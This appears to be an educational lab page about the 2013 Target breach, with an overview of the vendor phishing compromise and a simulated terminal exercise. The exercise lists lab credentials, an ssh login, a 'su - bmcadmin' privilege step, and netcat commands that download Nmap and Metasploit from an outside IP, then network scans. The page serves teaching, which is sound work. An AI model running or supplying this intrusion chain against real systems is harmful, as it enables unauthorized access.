Target Data Breach

Overview

In 2013, during the peak holiday shopping season, Target, one of the largest retail chains in the United States, fell victim to a massive cyber attack. Hackers gained unauthorized access to Target's internal systems, compromising detailed information for approximately 40 million credit and debit card accounts and personal data for about 70 million customers. Despite Target's substantial investment in cybersecurity, including sophisticated malware detection software and a large security team, the breach occurred due to a phishing attack on a third-party vendor, Fazio Mechanical. The hackers exploited this breach to steal login credentials for Target's system and deploy malware, resulting in catastrophic financial losses and significant damage to Target's reputation.

Vulnerability Details

The vulnerability exploited in the Target breach stemmed from a phishing attack on a third-party vendor, Fazio Mechanical. An employee of Fazio fell for a fraudulent email containing a malicious attachment, which enabled the hackers to deploy the Citadel Trojan horse—a variant of the well-known ZeuS malware. Despite Target's security measures, including the use of sophisticated malware detection software, the malware remained undetected on Fazio's systems. Subsequently, the hackers obtained login credentials for Target's network and deployed additional malware, which went unnoticed even after multiple alerts were issued by the malware detection system. This failure to respond to security alerts and disable automated malware deletion features allowed the hackers to exfiltrate sensitive data over a two-week period, leading to substantial financial losses and reputational damage for Target.

Lab Terminal

In this terminal activity, students will reenact a portion of the Target data breach investigation to understand how compromised third-party credentials can lead to large-scale network intrusions. The exercise mirrors the 2013 Target attack, where hackers gained access through a vendor account belonging to Fazio Mechanical and used it to deploy malware within Target's network. By logging into a simulated environment with the credentials of the compromised user, students will explore how attackers can escalate privileges, move laterally, and conduct internal reconnaissance using tools like Nmap and Metasploit. Through these actions, students will see how an initial phishing compromise can evolve into a full-scale breach of sensitive systems. This activity reinforces the importance of vendor security, least-privilege access, and continuous monitoring to detect unauthorized activity before it leads to major data exfiltration or financial loss.

Instructions:

Use the help command to explore available commands. Use a username of faziodavid and a password of 1aB3cD7e.
Begin by logging into the Ariba website using the obtained credentials: ssh 192.168.1.47.
Escalate privileges by switching to the default user on the BMC server: su - bmcadmin.
Download essential hacking tools, such as Nmap and Metasploit, using raw netcat commands:
- nc 74.233.19.204 12345 > nmap.tar.gz
- nc 74.233.19.204 12345 > metasploit.tar.gz
Unzip and install the downloaded tools in your current directory:
- tar -xzf nmap.tar.gz
- tar -xzf metasploit.tar.gz
Initiate internal reconnaissance by running Nmap to scan the network: nmap 192.168.1.47.
Conduct a more in-depth scan of specific network services to identify vulnerabilities: nmap -sV -p 135 192.168.1.47.

Resources

Learn more about cybersecurity investigation techniques and tools: